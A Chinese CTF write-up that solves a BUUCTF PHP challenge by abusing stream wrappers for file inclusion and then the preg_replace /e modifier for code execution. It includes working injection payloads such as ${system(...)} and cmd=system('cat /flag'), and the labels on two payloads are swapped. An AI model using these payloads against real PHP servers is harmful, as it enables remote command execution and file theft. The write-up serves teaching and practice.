1. 程式人生 > 實用技巧 >preg_replace函式/e後門

preg_replace函式/e後門

preg_replace函式/e後門

前言

  • 環境:buuctf中[BJDCTF2020]ZJCTF,不過如此
  • 知識點:preg_replace,正則匹配反向引用,php雙引號解析
  • 參考:wp

做題

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

顯然檔案包含漏洞,要想滿足if語句,可以通過偽協議

通過data協議進行繞過

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

當然也可以通過php://input協議

?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

[POST:DATA]:I have a dream

得到next.php原始碼

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

foreach語句把$_GET陣列中的鍵名作為preg_replace函式中的pattern,對應的值作為要匹配的字串,用了/e 修飾符,當匹配到時,就會把strtolower("\\1") 當做php程式碼執行。\\1 在正則匹配中表示匹配的第一個括號中的內容


而注意到strtolower("\\1") ,\\1 是被雙引號包裹起來的,會被當做php解析器解析。可以參考:文章

解法一

直接執行任意命令,用ascii繞過引號,因為這裡有引號會導致報錯

爆目錄

\S*=${readfile(chr(47).chr(102).chr(108).chr(97).chr(103))}

讀取/flag

\S*=${system(chr(108).chr(115).chr(32).chr(47))}

解法二

利用getFlag()函式

?\S*=${getFlag()}&cmd=system('ls /');

?\S*=${getFlag()}&cmd=system('cat /flag');